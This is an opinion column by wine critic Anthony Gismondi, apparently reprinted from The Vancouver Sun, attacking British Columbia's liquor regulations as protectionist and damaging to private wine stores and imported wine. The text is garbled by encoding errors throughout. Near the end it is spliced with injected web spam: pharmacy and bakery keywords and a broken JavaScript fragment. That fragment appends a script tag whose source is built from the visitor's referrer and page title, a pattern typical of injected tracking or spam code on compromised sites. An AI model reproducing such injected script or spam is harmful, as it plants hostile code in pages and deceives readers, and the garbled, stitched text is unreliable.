New regulations are regressive – Saturday, May 23

By Anthony Gismondi

It wasna��t all that long ago that any wine, even a B.C. wine, would not have been seen within a 100 metres of a B.C. cabinet minister. Now the ministry of justice is promoting a farm-to-glass slogan, happy hours and farmers markets as if it had uncovered the mystery of terroir in a hidden valley high above the Okanagan Valley.

It likes to think ita��s been modernizing the wine business over the last two years while what it has been doing is running interference for local wine producers, giving them a significant edge on the imported wine business. The ability to sell direct (tax-free) to restaurants, consumers and places such as farmers markets is a fabulous benefit to local wine, beer, spirit, sake and cider producers, but is it a dangerous strategy.

British Columbians like their wine and are particularly enamoured with the local wine business but not for the same reasons government may think. The current love affair with B.C. wine is about quality and undermining competition at every turn with laws and regulations that punish wine from around the world will only take us back to 1990s, when the heavily protected local wine industry was making some of the worst wine on the planet.

Touting wine sales at farmers markets and happy hours, fiddling with grocery-store licensing and running roughshod over the private-wine-shop sector while bending over backward to curry favour with local wine producers is tantamount to kissing a babies in an election run. In its rush to modernize, the word is politicize the wine business for its own short-sighted gains government is coming close to destabilizing the wine market as we know it.

In decades past, 85 per cent of the best wine I would taste was sold in government stores. That number today is just about reversed. Not only that since the implementation of the new wholesale tax and the now infamous a�?levela�? retail playing field, the governmenta��s retail strategy seems to be to extinguish the private wine sector under the banner a�?we can compete too.a�? They dona��t mention they are operating at best at cost and simply covering the difference with one of the most punitive liquor tax regimes in North America.

After shouting about modernizing the liquor sector, we still pay a ridiculous amount of tax on liquor and that includes our precious tourism sector, led by hotel and restaurant operators who have been told the hundreds of millions of dollars they spend on alcohol earns them the same wholesale discount you and I receive when we buy a single bottle of wine in a government store, zero.

Recent news from private liquor stores confirms what most had feared. The governmenta��s determination to muscle in on refrigerated beer and wine sales and match the extended hours of private retailers took a big bite out of the private sector, whose raison da��etre, and mandate given to them by government when the license were first established, was to serve when government stores were closed.

In the end all the money goes to government so whata��s the big deal you ask?

Well, ita��s all about the culture of wine and drinking for that matter. If I owned a local winery, I would be very worried about whata��s going on in government stores. I could name hundreds of excellent boutique wineries from around the world that have disappeared from the market milieu. It may sound crazy but when Chablis and Napa cabernet, or Sancerre and serious malbec disappear or Brunello and Barolo become names of the past, the culture of wine shrinks. Less culture, less interest and before you know it you will be shopping in a store full of $9 wines that cost you $22.

No one supports local better than British Columbians but it is not a political statement, ita��s a choice and it comes from informed decisions. Ita��s not from some goofy, protectionist legislation meant to have a handful of opportunists re-elected. calandra’s bakery delivery d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; le calandre cost buy tadalafil overnight

© Copyright (c) The Vancouver Sun

Return To Articles
Sign Up for Weekly Updates
About Wine Critic